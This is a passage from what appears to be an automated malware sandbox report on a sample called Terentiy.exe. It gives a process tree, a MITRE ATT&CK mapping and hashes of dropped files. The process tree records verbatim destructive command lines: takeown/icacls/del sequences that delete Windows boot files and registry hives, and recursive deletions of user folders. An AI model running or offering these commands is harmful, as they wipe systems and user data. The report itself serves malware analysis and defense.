  cmd.exe /c del /f /q C:\Windows\System32\ntoskrnl.exe >nul 2>&1
  2⤵
  PID:2756
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\hal.dll >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2080
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\hal.dll /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2940
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4152
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\hal.dll >nul 2>&1
  2⤵
  PID:3228
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\winload.efi >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4864
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\winload.efi
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:416
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\winload.efi /grant administrators:F >nul 2>&1
  2⤵
  PID:3392
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\winload.efi /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2372
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\winload.efi >nul 2>&1
  2⤵
  PID:1156
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\bootres.dll >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4128
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\bootres.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3708
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\bootres.dll /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4992
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\bootres.dll /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:308
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\bootres.dll >nul 2>&1
  2⤵
  PID:3436
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SYSTEM >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SYSTEM
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2964
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SYSTEM /grant administrators:F >nul 2>&1
  2⤵
  PID:4208
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SYSTEM /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3412
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SYSTEM >nul 2>&1
  2⤵
  PID:1336
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SOFTWARE >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2584
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SOFTWARE
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4028
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SOFTWARE /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2304
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SOFTWARE /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1428
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SOFTWARE >nul 2>&1
  2⤵
  PID:4296
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SAM >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2876
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SAM
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3300
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SAM /grant administrators:F >nul 2>&1
  2⤵
  PID:1516
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SAM /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2356
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SAM >nul 2>&1
  2⤵
  PID:1912
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SECURITY >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SECURITY
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4856
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SECURITY /grant administrators:F >nul 2>&1
  2⤵
  PID:1600
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SECURITY /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3284
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SECURITY >nul 2>&1
  2⤵
  PID:2904
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Documents\* >nul 2>&1
  2⤵
  PID:4832
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Desktop\* >nul 2>&1
  2⤵
  PID:4292
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Downloads\* >nul 2>&1
  2⤵
  PID:3632
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Pictures\* >nul 2>&1
  2⤵
  PID:4396
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /s /q C:\Users\* >nul 2>&1
  2⤵
  PID:4660

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:548

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4892

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5104

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

IconCacheRdr65536.dat.terentiy

Path C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat.terentiy
Size 68KB
SHA256 a1bf61f9c2e46fc90a13f78195e57aba2b92b8a754f5747ec6859ed85ae0935c
MD5 ce4a381660b57ddff9a6084c5a4d448a
SHA1 b54d1433b2027d04225b9ace3aff0a6e8d5cb891
SHA512 5258b5a0ea696d219dc4865c65b2ff08c10d9de672c696e6a9d1151959b8c91ebd79c1932fe0a48332445e638de34630d76a2fb67e4c32f221e31b6068cda799
SSDEEP 1536:szGMynyAbVBThOrCSE9Kd7kzT5J2CYvpH3QcD3:syM8NE8fNoNxrD3
TLSH
T12A6302F7B70E1E061C169C51E689ED9B1B8F596AE7734E581313360401296B3EA8D3B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Terentiy.exe

Path C:\Users\Admin\AppData\Local\Temp\Terentiy.exe
Size 3.5MB
SHA256 4a7567f06f698f1b4ff670e68f899da8416c9799ce791c63a43cd40f73aafa12
MD5 4afa847a6650d601f6ed613bd15b6a47
SHA1 c44862aa060b9690b53a1d39f2cdd52179506c7a
SHA512 7b0548d721771aed9d3932e0a28a974d9bf71e1da282315191ed875cac2f0ed54d3294b62fc8c885e6b6a04a7853ba68b4409bf34a0cb8c23b9f290cea3306a9
SSDEEP 49152:Tsp/Yx6lMQ+pLxrBdJdvd1dWdkdyS0m3WAZcS5huGvYontIz0Q6:wVLsjZcS5huGvYontIz0Q6
TLSH
T1AB06F65369DB0CE9CED667B8A5C76235A338FD71CA291F2BA604C1313C536C06E6EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 5KB
SHA256 ac4c083dc6ad4f870cc533e1ca26215c06859e2417acae428bf0aa6052a70ee7
MD5 54b1e62f31df10cb5499c8e78c10b4a2
SHA1 eb61787b17226bb65ebcaa5721155442fc0ddb07
SHA512 73b2b935854e47a679fd1893694912c99d5b4b40ce3a696838e1b0e8b2bd1b17f409352b5e33e7adae4862b65bc8bd5dbebbbcb159bfa06ef8cdc61f7ef56a4c
SSDEEP 96:sBiBHBiBiBHBiBvByABNBrBiBXBiBkBVBiEByMBjBsBKmBmBEBrBiBXBiBiBHBi+:sBiBHBiBiBHBiBvByABNBrBiBXBiBkBL
TLSH
T16EB1D1230FA242345E86DA2DE6550F6FEB2372BB1B4E7414357FA0957F8A34984EC84D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 1KB
SHA256 4c7105054d4606f54fbd4655ab39763196f1ef742c45514185038ba84722b251
MD5 4f56228b9cfb4785ebb1e1b4bcc929f9
SHA1 9f640abbbc33e32c7732f51810d823694c3abb80
SHA512 83d5194f60d84e39d1f3303b76b68d3ba7f4c3e0c71f0aee104ef03418a3238102fad503b2407a5dbff4776352a2574bf165b45ff2be6cd904e42d744d7d1cd9
TLSH
T129310A130FF242345E4BD62EE6554F5FDB23727B2A4A7414357FA0A53F8A34A84AC84D
MD5 SHA1 SHA512 TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 13KB
SHA256 7e1269d8e5cd3e0188c6667d5b862a0d59f6e743a1d7955ee8e2964d91c5bacb
MD5 ce32910ee589ad5cd8dc3e5059a073e6
SHA1 b521cf059e31e20d08cd330975f3be9ea09bae91
SHA512 acd431441d2d4ca8eb6c0c2f436041b22aad52b66c7b5a1be2b39ce51461fcad70f832e61a9676713350a3e284d8f1ecc21798304a32455cfcacaa3ba458ef07
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnHX:53gbq3gbq3gbq3gbY3gbq3gbHP3gbHK
TLSH
T13B529229B1A92EBB5C9446F8DFD038C26F8097794106A03795C4FDAFA279042F5B17CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 15KB
SHA256 011692595eedeb0a8799da092cc184bab0d1bfb589fa5eea2ec27540409528f3
MD5 60bac5cdeb967b69792250e25b4bd3dd
SHA1 1e635c9ff62e03b40044315f4310dfed4e7ff908
SHA512 a3f9dbd7697be36191a7bd75c206f33f9b87e350f4e001465596f8cf94c50033c4de39b17c8fa77e2d723d0e580a5eeb7ad9266b09f36a3ec08df29f1654e664
SSDEEP 192:53gbq3gbq3gbq3gbY3gbq3gbHP3gbH/3gbHF:53Iq3Iq3Iq3IY3Iq3Iv3If3Il
TLSH
T143729329B1A92EBB5C9446F8DFD038C26F8097794106A03795C4FDAFA279042F5B17CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 11KB
SHA256 a09997eb73fbca12a126e388b051a2e4a4b8559dd33c6dd0d3e1d5d24a27f674
MD5 362cdb6a4aeed97051ab24b99406af36
SHA1 5ad4266ea5642cd047699cab4b91bdbea0dd8aab
SHA512 a2bf48b4d94f203bd3d0141dd499f9221b46c057de94dd0ffef87fa70e7e6624160c680ebd9489cf7cf891a19e3268d95b647b3d9ce0ffbd8c5546e6943299e1
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnHw:53gbq3gbq3gbq3gbY3gbq3gbHw
TLSH
T1D3328329B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFB239082F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 14KB
SHA256 bc5fc3828a81fd209a07e02a2b3910923c0dac83221e6b74b57ff918b219bda2
MD5 c09b946eaeb9325e5397dd079d5c6bf3
SHA1 38bc9c5338802cdd2f547cea886dda44a5b727e5
SHA512 f4fb48d7eb2800ad05c4ab02d25d984a0ca048006bc437df10ecfb23688223c4d807295e29300343eb79769a3650af1b2b2ff1483ae735d3c3ee55994df66576
SSDEEP 192:53gbq3gbq3gbE7cA7imiN43gbY3gbq3gbq3gbEsk:53Iq3Iq3IScKlc43IY3Iq3Iq3IU
TLSH
T12F62E539B1952EBB5C9046F8DFD038C26B8097794106A03795C4FDAFA279082F9B17DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 17KB
SHA256 10c3197d9a04ed6cc7cdc077befc199217eab8f942e0ecd71ac84ab29d4ac327
MD5 14c242510652c888e2e7e4abb4680100
SHA1 2b753f17219f84f3d65986109d7da063dfde4e91
SHA512 bad117d1c32db42d33108c8205202c4658935f37fc2b52ef7d7460bfb6aa63f47b6b7e042bcd3ee4c32dccda3ea0aec1ab4ba02001cb509b1c3262205483f325
SSDEEP 192:53gbq3gbq3gbE7cA7imiN43gbY3gbq3gbq3gbEsV3gbEhF:53Iq3Iq3IScKlc43IY3Iq3Iq3Il3I4
TLSH
T152820539B1942EBB5C9046F8DFD038C26B8097794116A03795C4FDAFA279082F9B17DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 12KB
SHA256 3011ffc5f7789945e5be0d4a6e90be2b1e7b1e296ecbe3cb1f0ec52728468f6a
MD5 83a8e4375b96c4e28b002f467738b390
SHA1 d92a330705bd800517682b2a1ecead402a0562d0
SHA512 f1054b02da40b00f690b937d4c82555224f435b27a4811809c874a68845924c4545651a52ae9456a9f171e90dcc18a7cb6d20aca5173fe7832ad9bb819f484d6
SSDEEP 192:53gbq3gbq3gbE7cA7imiN43gbY3gbq3gbt:53Iq3Iq3IScKlc43IY3Iq3It
TLSH
T1E942D439B1952EBB5C9446F8DFD038C26F8097794106A03795C4FEAFA279082F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 222B
SHA256 b02a77b6725855d00612f878a407ad3a279ad10a91792fc9d7f06ec399716bae
MD5 165b8654527e32230d4283d2d23460f0
SHA1 54c95e62d6d57f43042f829eb7d36eef8124f20f
SHA512 de51d0444d784d8829d84900c8fb58b4a477239a037f566d894002b2c7ea6b661ac40389168b6e50aaf131c3aa0c063031ab8be3654e4a77385a198b5527214d
TLSH
T12BD0126206B207341E43568D84144B579B3375BB060A1600346F8125AB876144A99A1D
MD5 SHA1 SHA512 TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 317B
SHA256 4c8a0dd65c5dc327c2b26bf7cb5c9bcf99e06113734784a7835a18d00757a9c8
MD5 b91ed1c558c21c34ab4b581e7162c564
SHA1 0a2b19b19a8f5312fb02f6c39a4826c9689bcfe5
SHA512 889e8968f8fa424ca442c7f2b66f01e867b57d3f0417c62a7480c378bd93173885f25258bf98f116cc25b59d69fe4a7bef8e7f470c2ec93dfc41725319a4673b
TLSH
T110E05B1306B707345F4356CDC5144F579B3375BF07091600346F4425EB8671449D9E0D
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.xml

Path C:\Windows\system32\Recovery\ReAgent.xml
Size 1KB
SHA256 894ee2b19608d10df4bf8b8f5bbcf40ce38c09c1f4c5543b6164f40c04bb270d
MD5 44b2da39ceb2c183d5dcd43aa128c2dd
SHA1 502723d48caf7bb6e50867685378b28e84999d8a
SHA512 17744dcaddb49f17fe67dc3a579f4df2b6c2b196776330b71edfc58b37d1f8ae477bfb718d2f23401b78b789b7f984b19341f50fbecfba1bc101f596dee40604
TLSH
T12511B94682B818A6D7B1D266F1F8BD60463FF1DD02E18A5CA029F7D39447452875F970
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads